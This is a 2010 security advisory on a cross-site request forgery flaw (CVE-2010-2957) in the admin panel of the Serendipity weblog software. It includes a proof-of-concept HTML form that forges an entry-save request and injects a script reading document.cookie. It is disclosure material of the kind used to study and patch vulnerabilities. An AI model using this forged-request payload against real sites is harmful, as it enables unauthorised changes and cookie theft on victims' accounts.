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Cross-site Request Forgery (CSRF) in Serendipity

Advisory ID:HTB22595
Vendor:Serendipity Team
Vulnerable Versions:1.5.3 and probably prior
Tested Version:1.5.3
Advisory Publication:August 26, 2010 [without technical details]
Vendor Notification:August 26, 2010
Public Disclosure:September 9, 2010
Latest Update:August 27, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2010-2957
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Serendipity which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in Serendipity: CVE-2010-2957
The vulnerability exists due to insufficient validation of the request origin in serendipity_admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and execute arbitrary HTML and script code in user`s browser in context of the vulnerable site. Successful exploitation requires that victim uses "Remember me" feature in the Serendipity backend to login.
Exploitation example:
<form action="http://host/serendipity_admin.php?" method="post" name="main" >
<input type="hidden" name="serendipity[action]" value="admin" />
<input type="hidden" name="serendipity[adminModule]" value="entries" />
<input type="hidden" name="serendipity[adminAction]" value="save" />
<!--<input type="hidden" name="serendipity[timestamp]" value="1282502444" />-->
<input type="hidden" name="serendipity[id]" value="1" />
<input type="hidden" name="serendipity[timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[preview]" value="false" />
<input type="hidden" name="serendipity[token]" value="12345" />
<input type="hidden" name="serendipity[title]" value="title" />
<input type="hidden" name="serendipity[isdraft]" value="false" />
<input type="hidden" name="serendipity[chk_timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[new_timestamp]" value="2010-08-22+22:40" />
<input type="hidden" name="serendipity[categories][]" value="0" />
<input type="hidden" name="serendipity[body]" value='body2"><script>alert(document.cookie)</script>' />
<input type="hidden" name="serendipity[allow_comments]" value="true" />
<input type="hidden" name="serendipity[extended]" value="" />

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For more information see:

[1] High-Tech Bridge Advisory HTB22595 - - Cross-site Request Forgery (CSRF) in Serendipity
[2] Serendipity - - Serendipity is a PHP-powered weblog application which gives the user an easy way to maintain an online diary, weblog or even a complete homepage.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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